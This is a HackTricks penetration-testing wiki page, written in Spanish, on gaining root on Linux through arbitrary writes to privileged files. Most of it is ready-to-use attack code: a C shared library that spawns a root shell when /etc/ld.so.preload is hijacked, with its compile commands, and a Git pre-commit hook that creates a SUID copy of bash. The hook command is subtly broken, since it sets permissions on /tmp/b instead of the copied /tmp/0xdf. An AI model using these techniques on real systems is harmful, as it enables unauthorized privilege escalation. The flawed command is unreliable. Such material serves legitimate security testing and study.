hacktricks/linux-hardening/privilege-escalation/write-to-root.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

4.4 KiB

Escritura arbitraria de archivos en root

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

/etc/ld.so.preload

Este archivo se comporta como la variable de entorno LD_PRELOAD pero también funciona en binarios SUID.
Si puedes crearlo o modificarlo, simplemente puedes agregar una ruta a una biblioteca que se cargará con cada binario ejecutado.

Por ejemplo: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Ganchos de Git

Los ganchos de Git son scripts que se ejecutan en varios eventos en un repositorio de Git, como cuando se crea un commit, una fusión... Por lo tanto, si un script o usuario privilegiado está realizando estas acciones con frecuencia y es posible escribir en la carpeta .git, esto se puede utilizar para escalar privilegios.

Por ejemplo, es posible generar un script en un repositorio de Git en .git/hooks para que siempre se ejecute cuando se crea un nuevo commit:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

{% endcode %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥